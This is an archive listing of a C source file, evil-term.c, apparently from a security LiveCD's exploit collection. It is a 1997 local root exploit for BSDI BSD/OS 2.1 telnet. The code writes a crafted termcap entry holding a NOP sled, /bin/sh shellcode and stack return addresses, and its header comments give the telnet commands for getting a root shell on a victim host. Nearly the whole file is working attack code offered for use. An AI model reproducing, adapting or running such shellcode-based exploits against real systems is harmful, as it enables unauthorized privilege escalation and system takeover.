home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / evil-term.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  96 lines

  1. /* Bug originally discovered by Theo de Raadt <deraadt@CVS.OPENBSD.ORG> */
  2.  
  3. /* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
  4. **
  5. ** Written by Joseph_K the 22-Oct-1997
  6. **
  7. **
  8. ** Original shellcode by mudge@l0pht.com but modified a tiny bit...
  9. **
  10. ** This program must be compiled for the BSDI architecture...
  11. ** You will need to transfer the file 'termcap' this program creates
  12. ** to the host you want to penetrate, possibly by anonymous FTP.
  13. **
  14. ** Then start telnet and type:
  15. **
  16. ** telnet> env def TERM access
  17. ** telnet> env def TERMCAP /path/and/name/of/uploaded/file
  18. ** telnet> open victim.host.com
  19. **
  20. ** tadaa! r00t shell...
  21. **
  22. ** However because of the invalid termcap entry, there can be some
  23. ** hazzles....You figure it out....
  24. **
  25. ** Fy faen vad jag ar hungrig...
  26. **
  27. ** Special Greetz to TWiLiGHT!
  28. **
  29. */
  30.  
  31. #include <stdlib.h>
  32. #include <unistd.h>
  33. #include <fcntl.h>
  34.  
  35. #define filename "./termcap"
  36. #define entry   "access|Gimme r00t:\\\n :"
  37. #define bufsize 1300
  38. #define default_offset 870    /* Should work...*/
  39.  
  40. char shellcode[] =
  41.   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  42.   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  43.   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  44.   "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
  45.  
  46. long get_sp(void)
  47. {
  48.   __asm__("movl %esp, %eax\n");
  49. }
  50.  
  51. int main(int argc, char *argv[])
  52. {
  53.   int i, fd, offs;
  54.   long *bof_ptr;
  55.   char *ptr, *buffer, *tempbuf;
  56.  
  57.   offs = default_offset;
  58.  
  59.   if(argc == 2)
  60.     {
  61.       printf("using offset: %d\n",atoi(argv[1]));
  62.       offs = atoi(argv[1]);
  63.     }
  64.  
  65.   if(!(buffer = malloc(bufsize)))
  66.     {
  67.       printf("can't allocate enough memory\n");
  68.       exit(0);
  69.     }
  70.  
  71.  
  72.   if(!(tempbuf = malloc(bufsize+strlen(entry) + 50)))
  73.     {
  74.       printf("can't allocate enough memory\n");
  75.       exit(0);
  76.     }
  77.  
  78.   bof_ptr = (long *)buffer;
  79.   for (i = 0; i < bufsize - 4; i += 4)
  80.     *(bof_ptr++) = get_sp() - offs;
  81.  
  82.   ptr = (char *)buffer;
  83.   for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
  84.     *(ptr++) = 0x90;
  85.  
  86.   for (i = 0; i < strlen(shellcode); i++)
  87.     *(ptr++) = shellcode[i];
  88.  
  89.   printf("Creating termcap file\n");
  90.  
  91.   snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
  92.   fd = open(filename, O_WRONLY|O_CREAT, 0666);
  93.   write (fd, tempbuf, strlen(tempbuf));
  94.   close(fd);
  95. }
  96. /*                    www.hack.co.za              [2000]*/